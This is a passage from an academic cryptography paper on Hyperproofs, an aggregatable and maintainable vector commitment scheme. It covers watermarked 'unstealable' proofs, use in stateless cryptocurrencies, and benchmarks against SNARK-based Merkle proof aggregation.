whether proofs are watermarked or not. Put differently, un-
stealability must work in our previous setting where there is a
single Com algorithm for everyone, which does not take the
identity of the prover as input. Specifically, only the Open and
Ver algorithms are given the identity of the prover to water-
mark proofs and verify them. This ensures compatibility with
stateless cryptocurrencies, where the state must have a single
(prover-independent) digest against which (prover-dependent)
watermarked proofs can be verified. Second, a prover should
still be able to precompute all its (now) unstealable proofs and
efficiently maintain them over time as the vector changes. In
particular, solutions that require provers to watermark proofs
“on the fly” would be too expensive. Third, unstealable proofs
should remain aggregatable.

Strawmen. One idea for unstealability is to have each prover
commit to the original vector a but “extended” with its identity
id as aid = (ai||id)i∈[n]. Unfortunately, this results in having
multiple, prover-specific digests Cid for a. Another idea is to
add a digital signature on the VC proof. However, the signa-
ture can simply be removed by the adversary and replaced
with their own. A last attempt would be to use a non-malleable
SNARK [5] to augment a VC proof with a proof of knowledge
of (1) the committed vector and (2) a secret associated with
the prover’s identity. This would require a stealing adversary
to maul the SNARK proof so as to verify for their identity.
However, this approach would be too slow and would not
preserve maintainability due to the non-malleability of the
SNARK.

Unstealability via exponentiations. We make a proof πππi =
(wi,ℓ, . . . ,wi,1) unstealable by exponentiating it with α as:

πππ
α
i = (wα

i,ℓ, . . . ,w
α
i,1)

def
= (ŵi,ℓ, . . . , ŵi,1) , (25)

where α is the prover’s watermarking secret key (WSK). The
corresponding watermarking public key (WPK) is gα

2 together
with a zero-knowledge proof of knowledge (ZKPoK) of α

(e.g., a Schnorr proof [53]). To verify a proof watermarked
with gα

2 , one first checks that the ZKPoK of α verifies and that
α ̸= 0. Second, one checks the proof as normal as per Eq. 20,
but accounts for the WPK gα

2 :

e(C/gai
1 ,g

α
2 )

?
= ∏

k∈[ℓ]
e(ŵi,k,g

sk−ik
2 ) (26)

The ZKPoK of α is used to prevent stealing by exponentiat-
ing πππα

i with a δ known by the adversary, since the adversary
would have to prove knowledge of α ·δ. As a result, the ad-
versary’s only recourse is to remove α from the watermarked
proof, but this seems to require exponentiating by α−1, which
the adversary does not know. We prove security in the alge-
braic group model (AGM) [26] in the extended version of our
paper [56].

Aggregation-preserving unstealability. One important prop-
erty of our unstealable proofs is that they remain aggregatable
via a call to Agg from Fig. 6. Intuitively, this is because the
right-hand side of the watermarked verification from Eq. 26
remains the same as for normal verification in Eq. 20. How-
ever, the left-hand side changes. Thus, when verifying an
aggregated proof via Ver in Fig. 6, the verifier has to account
for the WPKs when computing the Zi’s given to VBATCH in
Fig. 5. In other words, the verifier needs to have these WPKs.
In our application setting from §4, we anticipate the verifier
will already have all of the WPKs, instead of receiving them
with the aggregated proof.

Homomorphism-preserving unstealability. Our approach
to watermarking proofs preserves the PST and MLT homo-
morphisms. This has a few advantages. First, watermarked
proofs can still be updated. Specifically, assuming position u
changed by δ, the watermarked proof πππα

i from Eq. 25 can be
updated as before (see Eq. 18) if one uses watermarked up-
date keys (upku,k)

α. Second, an MLT of watermarked proofs
can be computed directly, if the prover uses watermarked
public parameters. The prover can obtain these in a one-time
pre-processing step that exponentiates all parameters from
Fig. 1 with the WSK α:

ĝ
Su,k(s)
1

def
=
(

g
Su,k(s)
1

)α

= g
αSu,k(s)
1 ,∀k ∈ [0, ℓ],∀u ∈ [0,2k) (27)

Importantly, these are still valid Hyperproofs parameters, ex-
cept under a new base ĝ1 = gα

1 . As a result, the prover can
directly compute a watermarked MLT using these new pa-
rameters. This is important, as it allows precomputing water-
marked proofs, ensuring that serving such proofs is as efficient
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as serving normal proofs. Third, a watermarked MLT is ef-
ficiently maintainable, just like a normal MLT. This follows
from the updatability of watermarked proofs argued above.

New UVC algorithms. We must slightly change our VC
API from Def. 2.1 into an unstealable VC (UVC) API that
accounts for watermarked proofs and watermarking key-pairs.
First, we introduce two new algorithms:

1. WtrmkGen(1λ) → (wsk,wpk): Generates a random
(wsk,wpk) watermarking key pair.

2. WtrmkParams(pp,wsk) → wpp: Returns watermarked
public parameters wpp, under wsk, as per Eq. 27.

Second, the algorithm Verpp(C, I,(ai,wpki)i∈I ,πI) addition-
ally takes as input the watermarking PK wpki that each proof
πi is watermarked with. Third, the algorithms for creating and
updating proofs now operate on watermarked public parame-
ters. In the interest of brevity, we give the full UVC API, with
a new correctness definition, in the extended version of our
paper [56].

UVC soundness. We model UVC soundness similar to VC
soundness, except we account for watermarked proofs. Infor-
mally, we prevent adversaries from creating two inconsistent
proofs for the same position k, even if those proofs are wa-
termarked with different, adversarially-generated WPKs (see
the extended version [56] ).

UVC unstealability. In the extended version of our pa-
per [56], we formalize our notion of unstealability which
captures that an adversary cannot compute a watermarked
proof on a WPK it knows asymptotically any faster than
the Open algorithm, despite having adaptive access to a wa-
termarking oracle on arbitrary choices of WPK. We prove
that Hyperproofs is unstealable in the algebraic group model
(AGM) [26].

In particular, we show that an adversary who outputs a new
watermarked proof (after having access to the watermarking
oracle) and runs asymptotically faster than the time it takes
to run Open can neither explicitly include the oracle proofs
in the output watermarked proof (or otherwise discrete log is
broken) nor use the oracle proofs in any other way to speed
up computation (or otherwise q-SDH is broken).

4 Hyperproofs for Cryptocurrencies

In this section, we discuss how Hyperproofs can be used to
speed up validation in payment-only stateless cryptocurren-
cies.

Stateless validation. In account-based cryptocurrencies [65],
validators such as miners and P2P nodes store a large amount
of state to validate transactions and blocks in the consensus
protocol. This state consists of each user’s account balance
and can be represented as a vector that maps each user’s public
key to their balance. Recent work [12, 22, 28, 41, 52, 57, 59]

trades off storage of the state with additional bandwidth and
computation. This approach, known as stateless validation,
commits to the state using a vector commitment (VC) scheme
and allows validators to store only the digest rather than the
full state. Next, transactions and blocks are augmented with
proofs for the accessed state, so validators can check validity
against the digest, instead of storing the full state.

Practical relevance. We believe stateless validation addresses
two important problems in cryptocurrencies. First, in smart-
contract-based cryptocurrencies, every block validator in the
network has to store the full state in order to validate. This
leads to a state explosion problem [17, 43], which could be
ameliorated by having validators store succinct digests of the
state. Then, each smart contract owner could store its own
state and maintain its VC proofs, as proposed in previous
work [28].

Second, in sharded cryptocurrencies, validators have to
be frequently shuffled between shards to prevent adversaries
from corrupting a majority of validators within a shard [34].
However, shuffling a validator from shard A to shard B re-
quires that validator to download shard B’s state. This worsens
performance, but could be ameliorated by statelessly validat-
ing against a digest of the shard’s state. As a result, when mov-
ing to shard B, a validator need only download that shard’s
digest, which is very small.

Challenges. There are several challenges in stateless vali-
dation. First, when creating a transaction, the sending user
needs to include a proof that they have enough balance. In
this sense, users should be able to fetch their proof from proof-
serving nodes (PSNs) [52, 59], who maintain (a subset of) all
proofs. Thus, PSNs should be able to efficiently update all
proofs, as new blocks are confirmed. Second, PSNs should
be incentivized to maintain proofs. Third, a miner must now
include each transaction’s proof in a proposed block, so that
other miners can statelessly validate this block. This calls
for proofs to be efficiently aggregatable, to save block space.
Finally, when validating a block, miners must now verify such
an aggregated proof. Thus, aggregated proofs should verify
fast.

Why rely on proof-serving nodes? In theory, each user can
maintain their proof locally by keeping up with all confirmed
transactions and updating their proof (e.g., as per Eq. 18).
However, this overwhelms users with large computation (i.e.,
updating proofs) and large communication (i.e., downloading
new blocks). This is why well-incentivized, efficient proof-
serving nodes (PSNs) are important: they eliminate this bur-
den from users by allowing them to fetch their latest proof.
We discuss below how unstealability helps implement well-
incentivized PSNs.

Hyperproofs for stateless validation. As described above,
in the stateless validation setting, it is important to mini-
mize the time for (1) PSNs to update all proofs to reflect
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Table 2: Single-threaded microbenchmarks for Hyperproofs. Running times
with an asterisk symbol (*) are too long and have been interpolated. We
measure aggregation of 1024 proofs. OpenAll and Com are only measured
once. UpdDig and UpdAllProofs times are averages after a batch of 1024
changes to the vector. All algorithms are parallelizable.

ℓ= log2 n 22 24 26 28 30

Com (min) 3.1 12.6 50 201* 807*

OpenAll (hrs) 0.7 2.7 12* 52* 225*

UpdDig 47.76 µs

UpdAllProofs (ms) 1.74 1.96 2.15 2.37 2.58

Indiv. Ver (ms) 8.15 8.22 9.10 10.09 10.93

Agg (s) 105 109 114 118 123

Aggr. Ver (s) 13 14 15 16 17

Indiv. proof size (KiB) 1.06 1.15 1.25 1.34 1.44

Aggr. proof size (KiB) 51.6

the latest block, (2) miners to propose a new block, with
aggregated proofs and (3) validators (i.e., miners and P2P
nodes) to verify this block, including its aggregated proof. In
§5.3, we show experimentally that Hyperproofs outperforms
other VCs in this task. This is because VCs with O(1)-sized
proofs [20, 21, 28, 37, 59] require O(n) time to update all
proofs, while Hyperproofs only requires O(logn). Further-
more, when compared to Merkle trees, aggregation is 10× to
41× faster in Hyperproofs (see §5.2).

How unstealable proofs help. As highlighted above, proof-
serving nodes should be rewarded for the proofs they serve.
One approach would be for users to simply pay the PSN be-
fore they receive their proof. Unfortunately, this is vulnerable
to a fair-exchange problem: a malicious PSN will take the pay-
ment but not send the proof. An alternative approach would
be for PSNs to first serve the proof and expect payment after.
This approach poses two challenges.

First, we must ensure the payment always goes through.
Fortunately, this can be achieved via the cryptocurrency’s con-
sensus mechanism. Specifically, the miners can enforce a PSN
fee whenever a valid PSN proof is included in a block. Second,
and most importantly, we must ensure that the payment goes
only to the PSN who served the proof. This requires that a
proof served by PSN A cannot be mauled to appear as a proof
served by (a malicious) PSN B. In other words, PSN B should
have no recourse but to compute a proof from scratch like
everyone else. Our unstealability design from §3.4 guarantees
exactly this property.

5 Evaluation

In this section, we measure the performance of Hyperproofs
and explore their applicability for stateless validation. We do
not directly compare to VCs with constant-sized proofs due
to their impractical O(n) cost to update all proofs (see §5.1).
Instead, we focus on Merkle trees with SNARK-based aggre-

Table 3: The size of the public parameters from Fig. 1 for various values of
ℓ= log2 n. Recall that the verification key consists of all selector monomial
commitments gsk

2 ,∀k ∈ [ℓ], while the proving key consists of all selector

multinomial commitents g
S j,k(s)
1 ,∀k ∈ [0, ℓ], j ∈ [0,2k) (see Fig. 1).

ℓ= log2 n
Verification

key
Proving

key

22 2.11 KiB 384 MiB

24 2.3 KiB 1.5 GiB

26 2.49 KiB 6 GiB

28 2.68 KiB 24 GiB

30 2.88 KiB 96 GiB

gation. We use the Golang bindings of the mcl library [42]
to implement Hyperproofs1. We use BLS12-381, a pairing-
friendly elliptic curve, which offers 128 bits of security. A
serializedG1,G2 andGT element in mcl takes 48, 96, and 576
bytes, respectively. A single exponentiation takes 106 µs in
G1 and 250 µs in G2. Each experiment ran single-threaded
on an Intel Core i7-4770 CPU @ 3.40GHz with 8 cores and
32 GiB of RAM. Unless stated otherwise, we perform 4 runs
of each experiment and report their average. Also, vectors in
this section are of size n = 2ℓ.

5.1 Microbenchmarks
We microbenchmark Hyperproofs in Table 2. All microbench-
marks pick vectors and updates randomly and are single-
threaded, but trivially parallelizable.

Public parameters. To commit to vectors of size n, Hyper-
proofs needs a large proving key consisting of 2n− 1 G1
elements depicted in Fig. 1. For ℓ= 28, this requires around
24 GiB of space (see Table 3). Verification keys are all derived
from (gsk

2 )k∈[ℓ]. Furthermore, to aggregate b proofs, Abe et al.
commitment keys [2] are needed consisting of ℓ · b G1 and
ℓ · b G2 elements. For ℓ = 28 and b = 1024, this only adds
3.94 MiB. Watermarking the public parameters as per §3.4
requires 2n−1 exponentiations in G1. For ℓ= 28, this takes
15.87 hours. However, this is a one-time cost.

Committing and computing multilinear trees. We commit
to a vector of size n via an O(n)-sized multi-exponentiation.
For ℓ= 28, this takes 202 minutes. Computing a multilinear
tree (MLT) involves committing to the MLEs in each node
via a multi-exponentiation (see Fig. 3). For ℓ= 28, this takes
52.2 hours (or 1.63 hours with 32 threads). We expect to
at least double performance via faster multi-exponentiation
algorithms, which mcl lacks.

Updating the digest and the multilinear tree. For updating
the digest, we measure the time to apply a batch of 1024
updates via a multi-exponentiation, divide this time by 1024

1Our code is available at: https://github.com/hyperproofs/hyperproofs
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and obtain an average time of 48 µs per update. For the MLT,
we also measure the time to apply a batch of 1024 updates.
This way, we can use multi-exponentiations when updating
nodes in the tree. Dividing the total time by 1024, gives us an
average time of 1.74 (ℓ= 22) to 2.58 milliseconds (ℓ= 30)
per update. Recall from §3.4 that updates will be just as fast
for watermarked multilinear trees.

Proof size and verification time. Individual proof size is
ℓ G1 elements and is competitive with Merkle trees (e.g.,
for ℓ = 30, 1.44 KiB in MLTs versus 960 bytes in MHTs).
Verifying a proof requires ℓ+1 pairings, which we optimize
into a multi-pairing (i.e., first compute ℓ+ 1 Miller loops
and then compute a single final exponentiation). This way,
verifying a proof ranges from 8.2 (ℓ= 22) to 11 milliseconds
(ℓ= 30). If the proof is watermarked, we discount the WPK
from the proof size, since the verifier could already have
the WPK, depending on the application. Furthermore, this
overhead would be acceptable: 224 bytes. Lastly, verifying
the ZKPoK for the WPK requires two G2 exponentiations,
which adds around 500 µs to the proof verification time.

Proof aggregation. Let I be the set of transactions to be
aggregated via Aggpp, which calls PBATCH from Fig. 5. In our
benchmarks, b= |I|= 1024. As shown in Table 2, aggregating
1024 transactions takes between 105 (ℓ= 22) to 123 seconds
(ℓ= 30). Verifying such an aggregated proof takes between
13 (ℓ = 22) to 17.5 (ℓ = 30) seconds. These times are not
affected by watermarking. In §5.2, we show our aggregation
is 10× to 41× faster than SNARKs.

Aggregated proof size. Our aggregated proof size is 52 KiB
for any ℓ= 22, . . . ,30. This is an artifact of the IPA proof size
depending on the smallest power of two ≥ log(b · ℓ), which is
the same for all ℓ’s above when b = 1024. As with individual
proofs, watermarking does not affect proof size when the
verifier has the WPKs.

Comparison with Pointproofs. One of the main advantages
over aggregatable VCs with constant-sized proofs such as
Pointproofs is that Hyperproofs are maintainable. For ex-
ample, in Pointproofs, updating all n = 2ℓ proofs involves n
exponentiations, taking 31.7 hours for ℓ = 30. Importantly,
multi-exponentiations cannot be used here. In contrast, Hy-
perproofs only takes 3.2 milliseconds. (Unlike the numbers
from Table 2, these numbers assume no batching.)

5.2 Comparison with SNARKs
In this subsection, we show that Hyperproof aggregation is
anywhere from 10× to 41× faster than Merkle proof aggre-
gation via SNARKs (see Fig. 7), depending on the choice of
hash function. This comes at the cost of larger proofs (52 KiB
versus 192 bytes) and slower verification. Nonetheless, the
end-to-end time to aggregate-and-verify remains around 10×
to 41× faster in Hyperproofs. We find this design trade-off to
be a good one for stateless cryptocurrencies where, although

fast verification is important, aggregation times cannot be too
high (see §5.3).

Experimental setting. We fix the height of both the Merkle
tree and our MLT to ℓ= 30, and measure performance when
aggregating b ∈ {22,24, . . . ,214} proofs. We compare to an
implementation by Ozdemir et al. [45] in Rust [44] which uses
the state-of-the-art SNARK by Groth [30] to prove knowledge
of changes to a Merkle tree, updating it from digest d to digest
d′. To benchmark proof aggregation, we notice that proof ag-
gregation would involve half of the work done by the Ozdemir
et al. prover, and directly use their code. This is because prov-
ing knowledge of k changes involves first verifying k Merkle
proofs for the original values “inside the SNARK” and then
updating the Merkle root with the changes, which also in-
volves k Merkle path verifications. For the SNARK verifier,
we directly measure its work, which involves an O(b)-sized
G1 multi-exponentiation and 3 pairings.

Choice of Merkle hash function. Choosing a “SNARK-
friendly” hash function for the Merkle tree can signifi-
cantly reduce the prover time. In this sense, we use the
recently-proposed Poseidon-128 hash function [29], which
only requires 316 R1CS constraints per invocation inside the
SNARK, but lacks sufficient cryptanalysis. As a more secure
choice, we also use the Pedersen hash function [66] used in
Zcash [7], which is collision-resistant under the hardness of
discrete log, but requires 2753 constraints per invocation [45].

Proving time. The SNARK prover time is dominated by
several multi-exponentiations and Fast Fourier Transforms
(FFTs) of size linear in the number of R1CS constraints. For
example, aggregating b = 210 proofs in a Poseidon-hashed
Merkle tree of height ℓ= 30, involves 10 million constraints.
As a result, SNARK aggregation is very slow, taking 1224
seconds. In contrast, when aggregating b Hyperproofs, also
in a height ℓ MLT, our IPA-based prover from Fig. 5 only
computes O(bℓ) pairings and O(bℓ) G1,G2 and GT expo-
nentiations. This only takes 123 seconds. On average, as
shown in Fig. 7(a), aggregating Hyperproofs is 10× faster
than aggregating Merkle-Poseidon proofs and 41× faster than
Merkle-Pedersen.

Prover memory. The SNARK prover also requires memory
at least linear in the number of constraints. As a result, on
our machine with 32 GiB of RAM, SNARK aggregation runs
out of memory when aggregating ≥ 211 proofs with Poseidon
hashing (20 million constraints) or≥ 28 proofs with Pedersen
(23 million constraints). Nonetheless, we extrapolate the prov-
ing times in Fig. 7. In contrast, our IPA-based aggregation
from Fig. 5 has a much lower memory footprint and never
runs out of memory.

Verification time. In general, verifying a SNARK proof re-
quires 3 pairings and a G1 multi-exponentiation of size equal
to the number of verifier-provided inputs [30]. In particular,
when aggregating b Merkle proofs, this multi-exponentiation
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Figure 7: SNARK-based Merkle proof aggregation versus Hyperproof aggregation. The x-axis is log2(# of proofs being aggregated). Dotted lines are
extrapolated, due to the SNARK prover running out of memory. We use the 128-bit secure variant of Poseidon.

will be of size 2b+ 1, since the verifier must input the di-
gest and the b leaves (i,vi)i∈I being verified. We implement
verification in Golang using mcl [42] and report the times
in Fig. 7(b). (We cannot use the Ozdemir et al. code, since
the verifier only inputs two digests and checks knowledge
of b changes to the Merkle tree.) When aggregating b = 210

proofs, it takes 0.11 seconds to verify a SNARK proof and
17.4 seconds to verify an aggregated Hyperproof. While veri-
fication is slower in Hyperproofs, when accounting for both
the time to prove and verify in Fig. 7(c), Hyperproofs are
faster.

SNARKs without trusted setup. Recent SNARKs [18, 55,
67] are transparent (i.e., do not need a trusted setup). Even
better, these SNARKs often have faster provers than pairing-
based SNARKs. However, compared to Hyperproofs, they are
still too slow, have larger proof sizes and consume too much
memory. For example, aggregating b = 214 Merkle proofs
requires 228 R1CS constraints if using Poseidon hashes. The
prover time would be around 2.58 hours using Spartan [55,
Figure 7] and 1.53 hours using Virgo [67]. This is close to
5× and 3× slower than Hyperproofs, respectively. The proof
size would be around 1.83 MiB using Spartan and 350 KiB
using Virgo (estimated using the open-source code of [67]).
This is around 36× and 7× bigger than Hyperproofs, respec-
tively. The performance is even worse with Pedersen hashes.
Moreover, these transparent SNARKs are not as memory-
efficient as Hyperproofs: Virgo scales to 224 constraints, sim-
ilar to pairing-based SNARKs (i.e., fails aggregating when
b≥ 211 proofs) while Spartan scales to 226 constraints (i.e.,
fails for b ≥ 213). Lastly, other transparent arguments (e.g.,
STARKs [9], Aurora [10], Hyrax [62], Ligero [4]) have simi-
lar drawbacks. We defer to [55, 67] for a detailed discussion
on trade-offs.

5.3 Macrobenchmarks
Our single-threaded experiments measure the VC-induced
overheads of statelessly reaching consensus on a new block,
as discussed in §4. This consists of three measurements. First,
the block proposal time (P) to verify individual proofs, ag-

gregate them into a new block and update the digest. Second,
the block validation time (V) to verify the aggregated proof
and the updated digest in this new block, as it propagates
through the P2P network. In particular, we assume the P2P
network has diameter h = 20. Third, the proof maintenance
time (M) for a proof-serving node (PSN) to update all proofs
after applying the updates from this new block, so that the
next proposed block can use these proofs.

We estimate the VC overhead as P+(h ·V)+M and sum-
marize our results in Table 4. Note that we account for P2P
nodes not forwarding a block before validating it by multiply-
ing V by h. Overall, Hyperproofs’ overhead is 10× smaller
than Poseidon-hashed Merkle trees and 41× smaller than
Pedersen-hashed. This is because Merkle-based stateless vali-
dation involves a slower, more complex SNARK prover (dis-
cussed below). Furthermore, Hyperproofs remain competitive
in terms of proof maintenance cost (M).

Setting: We assume MLTs and Merkle trees of height ℓ= 30
and blocks of 1024 transactions. We do not compare to VCs
with O(1)-sized proofs, due to their large proof maintenance
cost (i.e., 2ℓ G1 exponentiations, or 31.7 hours).

Limitations: Our macrobenchmarks do not account for all
the subtleties that would arise in a full prototype, such as
communication overheads, or miners needing to update the
proofs in the current block they are working on due to another
competing block. They also do not account for the overhead
of signature verification, which is not affected by the chosen
VC scheme. Instead, they focus on the three key operations
whose overheads should be minimized: block proposal, block
validation and proof maintenance. Lastly, while we show
Hyperproofs are faster than other VCs for stateless validation,
we do not claim they make the stateless setting practical.

Block transitions with Hyperproofs versus Merkle trees.
In a stateless cryptocurrency, the ith block stores the digest di
of all users’ balances at that point in time. When block i+1
arrives, it must prove that its new digest di+1 correctly reflects
the updated balances, after applying its transactions. With
Hyperproofs, the block includes an aggregated proof for the
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balance of each user sending money. This way, a validator can
ensure that a block is spending valid coins and then can com-
pute di+1 from di via UpdDig, subtracting coins from each
sending user’s account and adding coins to each receiving
user.

With SNARK-based Merkle trees, it is not possible to up-
date the digest di+1 given the old digest di, the SNARK aggre-
gation proof, and the changes in balances: the Merkle proofs
for all the changed leaves are also needed as auxiliary infor-
mation. But including these Merkle proofs in the block would
defeat the point of aggregating them via SNARKs! Therefore,
the SNARK circuit must be extended to also verify the transi-
tion between di and di+1. Specifically, the circuit additionally
proves that di+1 is obtained by applying the changes in the
block to di. A block of b transactions involves 2b changes to
the Merkle tree, and each change requires two Merkle path
verifications inside the circuit. Therefore, the circuit involves
4 ·b Merkle path verifications (4× more expensive than the
aggregation circuit from §5.2).

Block overhead. As described above, stateless cryptocur-
rency blocks additionally store the digest of the state and
an aggregated proof for all transactions. Both Merkle trees
and Hyperproofs have similar digest sizes (i.e., 32 bytes ver-
sus 48 bytes). However, aggregated Hyperproofs are 52 KiB,
whereas SNARK-aggregated Merkle proofs are only 192
bytes. Nonetheless, relative to the size of the full block, Hy-
perproof overhead is modest and only decreases with larger
blocks. Furthermore, we foresee optimizing the IPA from
Fig. 8 to reduce the proof size. Lastly, using unstealability
to incentivize proof-serving nodes (which Merkle trees do
not support) adds 224 bytes of WPK overhead for each PSN
involved in the block. As an alternative, if the set of PSNs is
fixed or grows slowly, then WPKs can be stored as part of the
public parameters of the system.

Transaction overhead. Transactions propagating through the
P2P network in a stateless cryptocurrency need to include
proofs. With Hyperproofs, this only requires a 1.44 KiB proof
for the sender’s balance. With Merkle trees, whether Poseidon-
or Pedersen-hashed, this requires two 960 byte proofs, or
1.875 KiB, one for the sender and one for the receiver. This is
because, to update the Merkle root, the miner also needs the
receiver’s Merkle proof as auxiliary information, whereas in
Hyperproofs the digest can be updated homomorphically.

Block proposal. With Hyperproofs, a miner proposing a block
with 1024 transactions has to (1) verify 1024 individual Hyper-
proofs, (2) aggregate these proofs, (3) and update the digest.
With Merkle trees, this remains the same, except steps (2)
and (3) are done in the SNARK prover. Table 4 shows block
proposal is 36× (Poseidon) to 149× (Pedersen) faster in Hy-
perproofs than in SNARKs due to faster aggregation/digest
updates.

Block validation. To validate an incoming block, a miner has
to verify its aggregated proof and check its digest was com-

Table 4: Single-threaded, stateless cryptocurrency macrobenchmarks that
measure the time to prepare a block for proposal (P), to validate a proposed
block (V) and to update all proofs (M) after a new block is seen. A block
propagates through a P2P network of diameter h = 20. Trees have height
ℓ= 30 and blocks have 1024 transactions. A Poseidon-128 hash takes 113
µs using the go-iden3-crypto library [27]. A Pedersen hash takes 37 µs
using the sapling-crypto library [50].

Scheme Hyperproofs Merkle w/
Poseidon

Merkle w/
Pedersen

Block proposal (P) 2.23 min 81 min 332 min

Block validation (V) 17.5 sec 0.18 sec 0.18 sec

Proof maintenance (M) 5.14 sec 4.7 sec 1.54 sec

Total (P+(h ·V)+M) 8 min 81 min 332 min

puted correctly via UpdDig. In Table 4, we see that SNARKs
are 97× faster to verify than an aggregated Hyperproof of
b = 1024 proofs, which require O(bℓ) G1,G2 and GT expo-
nentiations to verify. While SNARK verification also incurs
O(b) cost, this only involves a fast G1 multi-exponentiation.
Nonetheless, when considering the time to propose and vali-
date a block (P+h ·V), Hyperproofs remains 10× (Poseidon)
to 41× (Pedersen) faster.

Proof maintenance. Recall that having updated proofs ready
to be served is important in stateless cryptocurrencies, since
users need to fetch and include their proofs when sending
a transaction to a miner. Fortunately, a PSN can update all
proofs in O(ℓ) time in both Hypeproofs and Merkle trees.
Table 4 gives the concrete batch update time after 1024 trans-
actions (or 2048 changes to the tree). Batch-updating Merkle
trees is slightly faster than applying each update sequentially,
because each node in the Merkle tree need only be updated
once, by recomputing a hash (i.e., 113 µs for Poseidon and
37 µs for Pedersen). In contrast, when batch-updating MLTs,
each node still needs to be updated several times to account
for all the leaves that changed underneath it, as per Eq. 18.
While we optimize this using a multi-exponentiation, MLTs
will be slightly slower.

6 Discussion

Selective versus adaptive security for PST commitments.
Papamanthou et al. prove security under ℓ-SDH (see Assum.
A.1), but only in a selective sense. Specifically, the (selective)
adversary, whose goal is to equivocate about f (i), must first
decide on an i and reveal it to the challenger [47, Appendix
C.1]. In contrast, we prove adaptive security for any point on
the Boolean hypercube. Specifically, the (adaptive) adversary
reveals nothing to the challenger about the point i it equiv-
ocates on and, in our security proof, the reduction simply
“guesses” this i (see Thm. B.1). One negative consequence of
this guessing is a security loss of log2 n bits, which we hope
to address in future work.
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Large public parameters. Hyperproofs for vectors of size n
require O(n)-sized public parameters (see §2.2) which must
be generated via a trusted setup. In practice, this setup would
have to be implemented securely as a multi-party computation
(MPC) protocol [8, 14, 15]. Recently, cryptocurrency projects
have demonstrated the viability of this approach at the scale
of n≈ 227 [13, 25, 63]. We hope to scale these techniques to
n≈ 230 in future work. Alternatively, large public parameters
can be avoided by splitting a large vector up into k chunks
and committing to each chunk. This saves a factor of k in
the size of the public parameters but leads to a k-sized digest.
Importantly, one can still aggregate proofs in such a chunked
vector since Hyperproofs support cross-aggregation. Lastly,
Hyperproofs can be modified to work in a decentralized set-
ting where the trapdoor s= (s1, . . . ,sℓ) is secret-shared among
a set of servers, similar to recent work for bilinear accumu-
lators [31]. This precludes the need to generate O(n) public
parameters and could be useful for applications in the permis-
sioned setting.

Choice of public parameters. The most popular account-
based cryptocurrency, Ethereum, currently has less than 185
million accounts. Thus, it would be sufficient to set ℓ = 28
in Hyperproofs. Furthermore, once Ethereum’s consensus
layer will partition accounts over 64 shards [23], a smaller
ℓ = 22 would suffice. To determine the maximum number
of aggregated proofs b, we need only consider the maximum
number of transactions in a block. For example, to handle 2×
more than the average number of transactions in a Bitcoin
block, setting b = 4000 is more than adequate.

Future work. It would be interesting to apply our aggrega-
tion and unstealability techniques to Verkle trees [36, 39],
which are q-ary rather than binary Merkle trees. This would
also help extend Hypeproofs into a key-value commitment
(KVC) scheme that maps arbitrary keys to values. Building
Hyperproofs from assumptions in hidden-order groups would
eliminate the large public parameters and, potentially, the
trusted setup. Using more malleable inner-product arguments
would allow us to update aggregated proofs too. Lastly, opti-
mizing the arguments from Figs. 5 and 8 for our Hyperproof
setting could speed up aggregation and verification times as
well as reduce proof size.
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A Assumptions, definitions and primitives

We prove Hyperproofs satisfy soundness, as per Def. B.2,
under q-Strong Diffie-Hellman (q-SDH) assumption, defined
below.

Assumption A.1 (q-SDH [11]). For any PPT adversary A ,

Pr

 (p,G1,G2,GT ,e,g1,g2)← BilGen(1λ),s ∈R Z∗p,
pp= ((p,G1,G2,GT ,e,g1,g2),gs

2,g
s
1, . . . ,g

sq

1 ) :

(a,g
1

s+a
1 )← A(1λ,pp)

≤ negl(λ)

Inner Product Arguments (IPA). We give the interactive
variant of the Bünz et al. [19] IPA in Fig. 8. Here, the prover
interacts with the verifier over logm rounds. This interactive
IPA is knowledge-sound assuming Abe et al. commitments
are binding [19, Theorem 1]. It is made non-interactive via
the Fiat-Shamir transform [24] and proved secure in a new
algebraic commitment model and in the random oracle model
(ROM) [19, Appendix D.2].

Faster verifier. As described Fig. 8, the prover and verifier
take O(m) time and the proof size is |π| = O(logm), if the
argument is made non-interactive via the Fiat-Shamir trans-
form [24]. However, Bünz et al. show how to reduce the veri-
fier time by using a “structured” commitment key ck = (v,w),
similar to a q-SDH common reference string (see Assum.
A.1). This allows the verifier to outsource the computations

P↔IPA(ck = (v,w);A,B): V↔IPA(ck = (v,w);C)→{0,1}:

If m = 1

A = [A1],B = [B1]

Return 1 iff.

C ?
= CM(ck; [A1], [B1],e(A1,B1))

Else (i.e., if m≥ 2)

ZL = ⟨AR,BL⟩
CL = CM(ck;AR||1G1 ,1G2 ||BL,ZL)
ZR = ⟨AL,BR⟩
CR = CM(ck;1G1 ||AL,BR||1G2 ,ZR)

CL,CR

x ∈R Zp

A′ = AL ◦ (AR)
x

v′ = vL ◦ (vR)
(x−1)

B′ = BL ◦ (BR)
(x−1) Computes v′,w′ just like the prover

w′ = wL ◦ (wR)
x C′ = (CL)

x ◦C◦ (CR)
(x−1)

Recurse on (ck′ = (v′,w′),A′,B′) Recurse on (ck′ = (v′,w′),C′)

Figure 8: The interactive IPA by Bünz et al. for m = 2k (wlog). The prover
convinces the verifier that he knows (A,B) ∈Gm

1 ×Gm
2 such that A,B,Z are

committed in C (under commitment key ck) and that Z = ⟨A,B⟩. See §2 for
IPA-specific notation such as 1Gb ,AL,A◦B,CM,AR||1G or Ax

L.

of v′ and w′ to the untrusted prover and reduces verification
time from O(m) to O(logm). However, this comes at the cost
of additionally relying on the q-SDH assumption (see Assum.
A.1) and the q-ASDBP assumption [19]. Our work implicitly
assumes this optimized verifier, which we later implement in
§5. We refer the reader to [19, Section 5] for the details of
this optimization, which is beyond the scope of this paper.

Lemma A.1 (Random linear combinations lemma). Let Zi ∈
GT , Ai ∈Gm

1 and Bi ∈Gm
2 for i = 1, . . . ,N. Assume each ri is

chosen uniformly at random from Zp. Then, with probability
at least 1−1/p, all Eq. 23 are satisfied iff. Eq. 24 is satisfied.

Proof (sketch) for Lemma A.1. Clearly if Eq. 23 are satisfied
then Eq. 24 is also satisfied. For the other direction, by the
Schwartz-Zippel lemma [54,70], if at least one equation from
Eq. 23 does not hold, Eq. 24 holds at randomly selected values
ri with probability 1/p, completing the proof.

Theorem A.1. (GBATCH,PBATCH,VBATCH) from Fig. 5 is
a non-interactive argument of knowledge for Lb,ℓ

BATCH from
Eq. 22 that has knowledge soundness under the same assump-
tions as the non-interactive IPA from §2.4 (i.e., algebraic com-
mitment model [19], the random oracle model, (2bℓ)-SDH,
(bℓ)-ASDBP).

Proof (sketch) for Thm. A.1. This follows from Lemma A.1
and the knowledge soundness of the Bünz et al. IPA, which is
used in a black box fashion.
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B VCs and Hyperproofs

